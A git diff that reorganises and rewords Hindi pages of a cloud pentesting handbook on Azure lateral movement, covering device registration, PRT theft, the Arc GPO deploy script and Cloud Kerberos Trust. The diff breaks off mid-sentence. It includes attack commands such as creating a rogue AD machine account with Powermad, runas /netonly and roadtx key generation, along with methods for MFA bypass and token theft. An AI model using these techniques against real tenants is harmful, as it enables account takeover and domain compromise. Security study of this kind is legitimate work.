diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 48a80565e..2e6ba8b7c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -442,22 +442,19 @@ - [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md) - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md) - - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md) - - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) - - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) - - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) + - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) + - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md) + - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md) + - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md) + - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md) + - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md) + - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md) - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md) - - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md) - - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md) - - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md) + - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) + - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index e977de360..c49efa493 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -6,15 +6,15 @@ जब एक डिवाइस AzureAD में शामिल होता है, तो AzureAD में एक नया ऑब्जेक्ट बनाया जाता है। -जब एक डिवाइस को रजिस्टर किया जाता है, तो **उपयोगकर्ता से उसके खाते के साथ लॉगिन करने के लिए कहा जाता है** (यदि आवश्यक हो तो MFA के लिए पूछता है), फिर यह डिवाइस रजिस्ट्रेशन सेवा के लिए टोकन का अनुरोध करता है और फिर अंतिम पुष्टि प्रॉम्प्ट के लिए पूछता है। +जब एक डिवाइस को रजिस्टर किया जाता है, तो **उपयोगकर्ता से उसके खाते के साथ लॉगिन करने के लिए कहा जाता है** (यदि आवश्यक हो तो MFA के लिए पूछता है), फिर यह डिवाइस रजिस्ट्रेशन सेवा के लिए टोकन अनुरोध करता है और फिर अंतिम पुष्टि प्रॉम्प्ट के लिए पूछता है। -फिर, डिवाइस में दो RSA कीपैर बनाए जाते हैं: **डिवाइस की** (**सार्वजनिक** कुंजी) जिसे **AzureAD** को भेजा जाता है और **ट्रांसपोर्ट** कुंजी (**निजी** कुंजी) जिसे यदि संभव हो तो TPM में संग्रहीत किया जाता है। +फिर, डिवाइस में दो RSA की जोड़े उत्पन्न होते हैं: **डिवाइस की** (**सार्वजनिक** कुंजी) जिसे **AzureAD** को भेजा जाता है और **परिवहन** कुंजी (**निजी** कुंजी) जिसे यदि संभव हो तो TPM में संग्रहीत किया जाता है। -फिर, **ऑब्जेक्ट** **AzureAD** में (Intune में नहीं) उत्पन्न होता है और AzureAD डिवाइस को एक **प्रमाणपत्र** वापस देता है जिसे इसके द्वारा हस्ताक्षरित किया गया है। आप यह जांच सकते हैं कि **डिवाइस AzureAD से जुड़ा है** और **प्रमाणपत्र** के बारे में जानकारी (जैसे कि क्या यह TPM द्वारा सुरक्षित है)। +फिर, **ऑब्जेक्ट** **AzureAD** में उत्पन्न होता है (Intune में नहीं) और AzureAD डिवाइस को एक **प्रमाणपत्र** वापस देता है जिसे इसके द्वारा हस्ताक्षरित किया गया है। आप यह जांच सकते हैं कि **डिवाइस AzureAD में शामिल है** और **प्रमाणपत्र** के बारे में जानकारी (जैसे कि क्या यह TPM द्वारा सुरक्षित है)। ```bash dsregcmd /status ``` -डिवाइस पंजीकरण के बाद, **प्राथमिक रिफ्रेश टोकन** LSASS CloudAP मॉड्यूल द्वारा अनुरोध किया जाता है और डिवाइस को दिया जाता है। PRT के साथ **सत्र कुंजी भी प्रदान की जाती है जिसे केवल डिवाइस ही डिक्रिप्ट कर सकता है** (परिवहन कुंजी के सार्वजनिक कुंजी का उपयोग करके) और इसे **PRT का उपयोग करने के लिए आवश्यक है।** +डिवाइस पंजीकरण के बाद, **प्राथमिक रिफ्रेश टोकन** LSASS CloudAP मॉड्यूल द्वारा अनुरोध किया जाता है और डिवाइस को दिया जाता है। PRT के साथ **सत्र कुंजी भी प्रदान की जाती है जिसे केवल डिवाइस ही डिक्रिप्ट कर सकता है** (परिवहन कुंजी की सार्वजनिक कुंजी का उपयोग करके) और इसे **PRT का उपयोग करने के लिए आवश्यक है।** PRT क्या है, इसके बारे में अधिक जानकारी के लिए देखें: @@ -24,13 +24,13 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - ट्रस्टेड प्लेटफॉर्म मॉड्यूल -**TPM** **कुंजी** **निकासी** के खिलाफ एक बंद डिवाइस (यदि पिन द्वारा सुरक्षित है) से और OS परत से निजी सामग्री निकालने से **सुरक्षा** करता है।\ -लेकिन यह **TPM और CPU के बीच भौतिक कनेक्शन की स्निफिंग** या **SYSTEM** अधिकारों वाले प्रक्रिया से सिस्टम चलने के दौरान TPM में **क्रिप्टोग्राफिक सामग्री** का उपयोग करने के खिलाफ **सुरक्षा** नहीं करता है। +**TPM** **कुंजी** **निकासी** से एक बंद डिवाइस (यदि PIN द्वारा सुरक्षित है) की सुरक्षा करता है और OS परत से निजी सामग्री को निकालने से।\ +लेकिन यह **TPM और CPU के बीच भौतिक कनेक्शन की निगरानी** करने या **SYSTEM** अधिकारों वाले प्रोसेस से सिस्टम चलने के दौरान TPM में **क्रिप्टोग्राफिक सामग्री** का उपयोग करने से **सुरक्षित नहीं करता**। -यदि आप निम्नलिखित पृष्ठ की जांच करते हैं, तो आप देखेंगे कि **PRT चुराना** **उपयोगकर्ता** की तरह पहुंच प्राप्त करने के लिए उपयोग किया जा सकता है, जो शानदार है क्योंकि **PRT डिवाइस में स्थित है**, इसलिए इसे उनसे चुराया जा सकता है (या यदि चुराया नहीं गया तो नए साइनिंग कुंजी उत्पन्न करने के लिए दुरुपयोग किया जा सकता है): +यदि आप निम्नलिखित पृष्ठ की जांच करते हैं, तो आप देखेंगे कि **PRT चुराना** उपयोगकर्ता की तरह पहुंच प्राप्त करने के लिए उपयोग किया जा सकता है, जो शानदार है क्योंकि **PRT डिवाइस में स्थित है**, इसलिए इसे उनसे चुराया जा सकता है (या यदि चुराया नहीं गया तो नए साइनिंग कुंजी उत्पन्न करने के लिए दुरुपयोग किया जा सकता है): {{#ref}} -az-lateral-movement-cloud-on-prem/pass-the-prt.md +az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} ## SSO टोकनों के साथ डिवाइस पंजीकरण @@ -50,14 +50,14 @@ registerdevice.py जो आपको **प्रमाणपत्र देगा जिसका उपयोग आप भविष्य में PRTs के लिए पूछने के लिए कर सकते हैं**। इसलिए स्थिरता बनाए रखना और **MFA को बायपास करना** क्योंकि नए डिवाइस को पंजीकृत करने के लिए उपयोग किया गया मूल PRT टोकन **पहले से ही MFA अनुमतियाँ दी गई थीं**। > [!TIP] -> ध्यान दें कि इस हमले को करने के लिए आपको **नए उपकरणों को पंजीकृत करने** की अनुमति की आवश्यकता होगी। इसके अलावा, एक डिवाइस को पंजीकृत करना यह नहीं दर्शाता कि डिवाइस **Intune में नामांकित होने की अनुमति दी जाएगी**। +> ध्यान दें कि इस हमले को करने के लिए आपको **नए उपकरणों को पंजीकृत करने** की अनुमति की आवश्यकता होगी। इसके अलावा, एक उपकरण को पंजीकृत करना यह नहीं दर्शाता कि उपकरण **Intune में नामांकित होने की अनुमति दी जाएगी**। > [!CAUTION] > यह हमला सितंबर 2021 में ठीक किया गया था क्योंकि आप अब SSO टोकन का उपयोग करके नए उपकरणों को पंजीकृत नहीं कर सकते। हालाँकि, यह अभी भी एक वैध तरीके से उपकरणों को पंजीकृत करना संभव है (यदि आवश्यक हो तो उपयोगकर्ता नाम, पासवर्ड और MFA होना)। जांचें: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)। ## एक डिवाइस टिकट को ओवरराइट करना -यह **डिवाइस टिकट** **अनुरोध** करने, डिवाइस के वर्तमान को **ओवरराइट** करने और प्रवाह के दौरान **PRT चुराने** के लिए संभव था (इसलिए इसे TPM से चुराने की आवश्यकता नहीं है। अधिक जानकारी के लिए [**इस वार्ता की जांच करें**](https://youtu.be/BduCn8cLV1A)। +यह **डिवाइस टिकट** **अनुरोध करना**, डिवाइस के वर्तमान को **ओवरराइट** करना संभव था, और प्रवाह के दौरान **PRT चुराना** (इसलिए इसे TPM से चुराने की आवश्यकता नहीं है। अधिक जानकारी के लिए [**इस वार्ता की जांच करें**](https://youtu.be/BduCn8cLV1A)।
@@ -70,7 +70,7 @@ registerdevice.py हमले का सारांश: -- यह **SSO** के माध्यम से **पंजीकृत WHFB** कुंजी को **ओवरराइट** करना संभव है +- यह **SSO** के माध्यम से एक **डिवाइस** से **पंजीकृत WHFB** कुंजी को **ओवरराइट** करना संभव है - यह **TPM सुरक्षा को पराजित करता है** क्योंकि कुंजी **नई कुंजी के निर्माण के दौरान स्निफ की जाती है** - यह **स्थिरता** भी प्रदान करता है @@ -78,7 +78,7 @@ registerdevice.py उपयोगकर्ता Azure AD ग्राफ़ के माध्यम से अपनी स्वयं की searchableDeviceKey संपत्ति को संशोधित कर सकते हैं, हालाँकि, हमलावर के पास टेनेट में एक डिवाइस होना चाहिए (फ्लाई पर पंजीकृत या एक वैध डिवाइस से प्रमाणपत्र + कुंजी चुराई गई) और AAD ग्राफ़ के लिए एक मान्य एक्सेस टोकन होना चाहिए। -फिर, एक नई कुंजी उत्पन्न करना संभव है: +फिर, यह एक नई कुंजी उत्पन्न करना संभव है: ```bash roadtx genhellokey -d -k tempkey.key ``` @@ -86,7 +86,7 @@ roadtx genhellokey -d -k tempkey.key
-एक उपयोगकर्ता से **device code phishing** के माध्यम से एक एक्सेस टोकन प्राप्त करना संभव है और पिछले चरणों का दुरुपयोग करके **उसकी पहुंच चुराना**। अधिक जानकारी के लिए देखें: +एक उपयोगकर्ता से **device code phishing** के माध्यम से एक एक्सेस टोकन प्राप्त करना संभव है और पिछले चरणों का दुरुपयोग करके **उसकी एक्सेस चुराना**। अधिक जानकारी के लिए देखें: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 2c1ea6ef7..d382ebc13 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -1,65 +1,39 @@ # Az - Lateral Movement (Cloud - On-Prem) -## Az - Lateral Movement (Cloud - On-Prem) - {{#include ../../../banners/hacktricks-training.md}} -### On-Prem मशीनें जो क्लाउड से जुड़ी हैं +## Basic Information -क्लाउड से जुड़ने के विभिन्न तरीके हैं: +यह अनुभाग एक समझौता किए गए Entra ID टेनेन्ट से ऑन-प्रिमिसेज Active Directory (AD) में या एक समझौता किए गए AD से Entra ID टेनेन्ट में जाने के लिए पिवोटिंग तकनीकों को कवर करता है। -#### Azure AD से जुड़ी +## Pivoting Techniques -
+- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): यदि एक हमलावर AD कंप्यूटर खाता नियंत्रित कर सकता है या बना सकता है और Azure Arc GPO डिप्लॉयमेंट शेयर तक पहुंच प्राप्त कर सकता है, तो वे संग्रहीत सेवा प्रमुख रहस्य को डिक्रिप्ट कर सकते हैं और इसे संबंधित सेवा प्रमुख के रूप में Azure में प्रमाणित करने के लिए उपयोग कर सकते हैं, जिससे जुड़े Azure वातावरण का पूरी तरह से समझौता हो जाता है। -#### Workplace से जुड़ी +- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): जब Cloud Kerberos Trust कॉन्फ़िगर किया गया हो तो Entra ID से AD में कैसे पिवोट करें। Entra ID (Azure AD) में एक ग्लोबल एडमिन Cloud Kerberos Trust और सिंक API का दुरुपयोग कर उच्च-विशेषाधिकार AD खातों का अनुकरण कर सकता है, उनके Kerberos टिकट या NTLM हैश प्राप्त कर सकता है, और ऑन-प्रिमिस Active Directory का पूरी तरह से समझौता कर सकता है—भले ही उन खातों को कभी भी क्लाउड-सिंक नहीं किया गया हो—क्लाउड-से-AD विशेषाधिकार वृद्धि को प्रभावी ढंग से पुल करता है। -

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

+- [**Cloud Sync**](az-cloud-sync.md): क्लाउड से ऑन-प्रिमिसेज AD में और इसके विपरीत जाने के लिए Cloud Sync का दुरुपयोग कैसे करें। -#### Hybrid से जुड़ी +- [**Connect Sync**](az-connect-sync.md): क्लाउड से ऑन-प्रिमिसेज AD में और इसके विपरीत जाने के लिए Connect Sync का दुरुपयोग कैसे करें। -

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

+- [**Domain Services**](az-domain-services.md): Azure Domain Services सेवा क्या है और Entra ID से AD में कैसे पिवोट करें जो यह उत्पन्न करता है। -#### AADJ या Hybrid पर Workplace से जुड़ी +- [**Federation**](az-federation.md): क्लाउड से ऑन-प्रिमिसेज AD में और इसके विपरीत जाने के लिए Federation का दुरुपयोग कैसे करें। -

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

+- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): विविध हमले जो क्लाउड से ऑन-प्रिमिसेज AD में और इसके विपरीत जाने के लिए उपयोग किए जा सकते हैं। -### Tokens और सीमाएँ +- [**Local Cloud Credentials**](az-local-cloud-credentials.md): जब एक पीसी समझौता किया गया हो तो क्लाउड के लिए क्रेडेंशियल्स कहां खोजें। -Azure AD में, विभिन्न प्रकार के टोकन होते हैं जिनकी विशिष्ट सीमाएँ होती हैं: +- [**Pass the Certificate**](az-pass-the-certificate.md): एक मशीन से दूसरी मशीन पर लॉगिन करने के लिए PRT के आधार पर एक प्रमाणपत्र उत्पन्न करें। -- **Access tokens**: APIs और Microsoft Graph जैसी संसाधनों तक पहुँचने के लिए उपयोग किए जाते हैं। ये एक विशिष्ट क्लाइंट और संसाधन से जुड़े होते हैं। -- **Refresh tokens**: नए access tokens प्राप्त करने के लिए अनुप्रयोगों को जारी किए जाते हैं। इन्हें केवल उसी अनुप्रयोग द्वारा या अनुप्रयोगों के समूह द्वारा उपयोग किया जा सकता है जिनके लिए इन्हें जारी किया गया था। -- **Primary Refresh Tokens (PRT)**: Azure AD से जुड़े, पंजीकृत, या हाइब्रिड जुड़े उपकरणों पर सिंगल साइन-ऑन के लिए उपयोग किए जाते हैं। इन्हें ब्राउज़र साइन-इन प्रवाह में और उपकरण पर मोबाइल और डेस्कटॉप अनुप्रयोगों में साइन इन करने के लिए उपयोग किया जा सकता है। -- **Windows Hello for Business keys (WHFB)**: पासवर्ड रहित प्रमाणीकरण के लिए उपयोग किए जाते हैं। इसका उपयोग Primary Refresh Tokens प्राप्त करने के लिए किया जाता है। +- [**Pass the Cookie**](az-pass-the-cookie.md): ब्राउज़र से Azure कुकीज़ चुराएं और उनका उपयोग करके लॉगिन करें। -टोकन का सबसे दिलचस्प प्रकार Primary Refresh Token (PRT) है। +- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): PRT क्या है, इसे कैसे चुराएं और उपयोगकर्ता का अनुकरण करते हुए Azure संसाधनों तक पहुंच प्राप्त करने के लिए इसका उपयोग कैसे करें। -{{#ref}} -az-primary-refresh-token-prt.md -{{#endref}} +- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): क्लाउड से ऑन-प्रिमिसेज AD में और इसके विपरीत जाने के लिए Pass-through Authentication का दुरुपयोग कैसे करें। -### Pivoting Techniques +- [**Seamless SSO**](az-seamless-sso.md): ऑन-प्रिम से क्लाउड में जाने के लिए Seamless SSO का दुरुपयोग कैसे करें। -**समझौता की गई मशीन से क्लाउड तक**: - -- [**Pass the Cookie**](az-pass-the-cookie.md): ब्राउज़र से Azure कुकीज़ चुराना और उनका उपयोग करके लॉगिन करना -- [**Dump processes access tokens**](az-processes-memory-access-token.md): क्लाउड के साथ समन्वयित स्थानीय प्रक्रियाओं की मेमोरी को डंप करना (जैसे excel, Teams...) और स्पष्ट पाठ में access tokens खोजना। -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT को धोखा देकर इसका दुरुपयोग करना -- [**Pass the PRT**](pass-the-prt.md): Azure तक पहुँचने के लिए डिवाइस PRT चुराना। -- [**Pass the Certificate**](az-pass-the-certificate.md)**:** एक मशीन से दूसरी मशीन पर लॉगिन करने के लिए PRT के आधार पर एक प्रमाणपत्र उत्पन्न करना - -**AD से समझौता करने से लेकर क्लाउड तक और क्लाउड से AD तक समझौता करने**: - -- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **क्लाउड से ऑन-प्रेम पर पिवट करने का एक और तरीका** [**Intune का दुरुपयोग करना**](../az-services/intune.md) - -#### [Roadtx](https://github.com/dirkjanm/ROADtools) - -यह उपकरण कई कार्य करने की अनुमति देता है जैसे Azure AD में एक मशीन को पंजीकृत करना ताकि PRT प्राप्त किया जा सके, और विभिन्न तरीकों से संसाधनों तक पहुँचने के लिए PRTs (वैध या चुराए गए) का उपयोग करना। ये सीधे हमले नहीं हैं, लेकिन यह विभिन्न तरीकों से संसाधनों तक पहुँचने के लिए PRTs के उपयोग को सुविधाजनक बनाता है। अधिक जानकारी के लिए देखें [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) - -## References - -- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +- **क्लाउड से ऑन-प्रिम में पिवोट करने का एक और तरीका है** [**Intune का दुरुपयोग करना**](../az-services/intune.md) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index e7a16e0f1..11258f058 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -11,7 +11,7 @@ Azure Arc नए आंतरिक सर्वरों (जुड़े ह 1. स्थानीय डोमेन के भीतर Azure Arc Servers Onboarding GPO बनाती है। 2. EnableAzureArc.ps1 ऑनबोर्डिंग स्क्रिप्ट को ऑनबोर्डिंग प्रक्रिया के लिए बनाए गए निर्दिष्ट नेटवर्क शेयर में कॉपी करती है, जिसमें Windows इंस्टॉलर पैकेज भी शामिल है। -इस स्क्रिप्ट को चलाते समय, सिस्टम प्रशासकों को दो मुख्य पैरामीटर प्रदान करने की आवश्यकता होती है: **ServicePrincipalId** और **ServicePrincipalClientSecret**। इसके अतिरिक्त, इसमें अन्य पैरामीटर जैसे डोमेन, शेयर होस्ट करने वाले सर्वर का FQDN, और शेयर नाम की आवश्यकता होती है। स्क्रिप्ट को टेनेट ID, संसाधन समूह, और अन्य आवश्यक जानकारी भी प्रदान करनी होती है। +इस स्क्रिप्ट को चलाते समय, सिस्टम प्रशासकों को दो मुख्य पैरामीटर प्रदान करने की आवश्यकता होती है: **ServicePrincipalId** और **ServicePrincipalClientSecret**। इसके अतिरिक्त, इसे डोमेन, शेयर होस्ट करने वाले सर्वर का FQDN, और शेयर नाम जैसे अन्य पैरामीटर की भी आवश्यकता होती है। स्क्रिप्ट को टेनेट आईडी, संसाधन समूह, और अन्य आवश्यक जानकारी जैसे विवरण भी प्रदान करने होंगे। एक एन्क्रिप्टेड सीक्रेट निर्दिष्ट शेयर पर AzureArcDeploy निर्देशिका में DPAPI-NG एन्क्रिप्शन का उपयोग करके उत्पन्न होता है। एन्क्रिप्टेड सीक्रेट को encryptedServicePrincipalSecret नामक फ़ाइल में संग्रहीत किया जाता है। इसका प्रमाण DeployGPO.ps1 स्क्रिप्ट में पाया जा सकता है, जहां एन्क्रिप्शन को $descriptor और $ServicePrincipalSecret को इनपुट के रूप में कॉल करके किया जाता है। डिस्क्रिप्टर में Domain Computer और Domain Controller समूह SIDs शामिल होते हैं, यह सुनिश्चित करते हुए कि ServicePrincipalSecret केवल Domain Controllers और Domain Computers सुरक्षा समूहों द्वारा डिक्रिप्ट किया जा सकता है, जैसा कि स्क्रिप्ट टिप्पणियों में उल्लेख किया गया है। ```bash @@ -26,7 +26,7 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe हमारे पास निम्नलिखित शर्तें हैं: -1. हम सफलतापूर्वक आंतरिक नेटवर्क में प्रवेश कर चुके हैं। +1. हम आंतरिक नेटवर्क में सफलतापूर्वक प्रवेश कर चुके हैं। 2. हमारे पास Active Directory के भीतर एक कंप्यूटर खाते को बनाने या उस पर नियंत्रण करने की क्षमता है। 3. हमने AzureArcDeploy निर्देशिका को समाहित करने वाले एक नेटवर्क शेयर का पता लगाया है। @@ -35,7 +35,7 @@ AD वातावरण में एक मशीन खाते को प Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -एक बार मशीन खाता प्राप्त हो जाने पर, इस खाते का उपयोग करके प्रमाणीकरण करना संभव है। हम या तो netonly ध्वज के साथ runas.exe कमांड का उपयोग कर सकते हैं या Rubeus.exe के साथ पास-दी-टिकट का उपयोग कर सकते हैं। +एक बार जब एक मशीन खाता प्राप्त हो जाता है, तो इस खाते का उपयोग करके प्रमाणीकरण करना संभव है। हम या तो netonly ध्वज के साथ runas.exe कमांड का उपयोग कर सकते हैं या Rubeus.exe के साथ पास-दी-टिकट का उपयोग कर सकते हैं। ```bash runas /user:fake01$ /netonly powershell ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md similarity index 57% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md index d5c0c4757..cd6ea2765 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md @@ -2,15 +2,15 @@ {{#include ../../../../banners/hacktricks-training.md}} -**यह पोस्ट** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **से एक सारांश है, जिसे हमले के बारे में अधिक जानकारी के लिए चेक किया जा सकता है। इस तकनीक पर भी टिप्पणी की गई है** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**।** +**यह पोस्ट** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **से एक सारांश है, जिसे हमले के बारे में अधिक जानकारी के लिए जांचा जा सकता है। इस तकनीक पर भी टिप्पणी की गई है** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**।** ## Kerberos Trust Relationship Overview -**Cloud Kerberos Trust (Entra ID -> AD)** -- यह सुविधा (Windows Hello for Business का हिस्सा) एक-तरफा विश्वास स्थापित करती है जहां ऑन-प्रेम AD **Entra ID** पर भरोसा करता है कि वह AD के लिए Kerberos टिकट जारी करे। इसे सक्षम करने से AD में एक **AzureADKerberos$** कंप्यूटर ऑब्जेक्ट बनता है (जो एक Read-Only Domain Controller के रूप में प्रकट होता है) और एक लिंक किया गया **`krbtgt_AzureAD`** खाता (एक द्वितीयक KRBTGT)। Entra ID इन खातों के लिए कुंजी रखता है और AD उपयोगकर्ताओं के लिए "आंशिक" Kerberos TGT जारी कर सकता है। AD डोमेन नियंत्रक इन टिकटों का सम्मान करेंगे, लेकिन RODC-जैसे प्रतिबंधों के साथ: डिफ़ॉल्ट रूप से, **उच्च-विशेषाधिकार समूह (Domain Admins, Enterprise Admins, आदि) को *अस्वीकृत* किया गया है** और सामान्य उपयोगकर्ताओं को अनुमति दी गई है। यह सामान्य परिस्थितियों में Entra ID को डोमेन प्रशासकों को विश्वास के माध्यम से प्रमाणित करने से रोकता है। हालाँकि, जैसा कि हम देखेंगे, पर्याप्त Entra ID विशेषाधिकारों वाला एक हमलावर इस विश्वास डिज़ाइन का दुरुपयोग कर सकता है। +**Cloud Kerberos Trust (Entra ID -> AD)** -- यह सुविधा (Windows Hello for Business का हिस्सा) एक-तरफा विश्वास स्थापित करती है जहां ऑन-प्रेम AD **Entra ID** पर भरोसा करता है कि वह AD के लिए Kerberos टिकट जारी करे। इसे सक्षम करने पर AD में एक **AzureADKerberos$** कंप्यूटर ऑब्जेक्ट (जो Read-Only Domain Controller के रूप में प्रकट होता है) और एक लिंक किया गया **`krbtgt_AzureAD`** खाता (एक द्वितीयक KRBTGT) बनता है। Entra ID इन खातों के लिए कुंजी रखता है और AD उपयोगकर्ताओं के लिए "आंशिक" Kerberos TGT जारी कर सकता है। AD डोमेन नियंत्रक इन टिकटों का सम्मान करेंगे, लेकिन RODC-जैसी सीमाओं के साथ: डिफ़ॉल्ट रूप से, **उच्च-विशेषाधिकार समूह (Domain Admins, Enterprise Admins, आदि) को *अस्वीकृत* किया गया है** और सामान्य उपयोगकर्ताओं को अनुमति दी गई है। यह सामान्य परिस्थितियों में Entra ID को डोमेन प्रशासकों को विश्वास के माध्यम से प्रमाणित करने से रोकता है। हालाँकि, जैसा कि हम देखेंगे, पर्याप्त Entra ID विशेषाधिकार वाला एक हमलावर इस विश्वास डिज़ाइन का दुरुपयोग कर सकता है। ## Pivoting from Entra ID to On-Prem AD -**परिदृश्य:** लक्षित 